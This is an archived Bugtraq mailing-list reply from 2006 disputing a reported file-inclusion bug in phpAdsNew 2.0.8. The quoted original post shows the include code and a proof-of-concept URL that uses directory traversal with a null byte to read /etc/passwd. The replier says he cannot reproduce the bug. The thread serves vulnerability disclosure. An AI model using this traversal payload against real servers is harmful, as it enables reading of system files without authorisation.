bugtraq - Re: phpAdsNew include bug!

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Wed, 18 Oct 2006 03:49:35 +0200
From: Wim Godden <security@...stlinknetworks.com>
To: wacky@...ck.pl, bugtraq@...urityfocus.com
Subject: Re: phpAdsNew include bug!

I can't reproduce this on any of our phpAdsNew 2.0.8 installations.
As it should, the login prompt is presented.

Kind regards,

Wim

At 20:02 17/10/2006, wacky@...ck.pl wrote:

>#######################################
>Autors:
>- Micha&#322; `wacky` B&#322;aszczak
>- Nobody
>
>http://iHACK.pl
>#######################################
>File: modules/phpads/admin/upgrade.php
>
>
>
>Code:
>
>// Load language strings
>if 
>(file_exists("../language/".$phpAds_config['language']."/default.lang.php"))
>include("../language/".$phpAds_config['language']."/default.lang.php");
>else
>{
>$phpAds_config['language'] = 'english';
>include("../language/english/default.lang.php");
>}
>
>
>
>Exploit:
>
>http://ihack.pl/phpAdsNew-2.0.8/admin/
>upgrade.php?phpAds_config[language]=../../../etc/passwd%00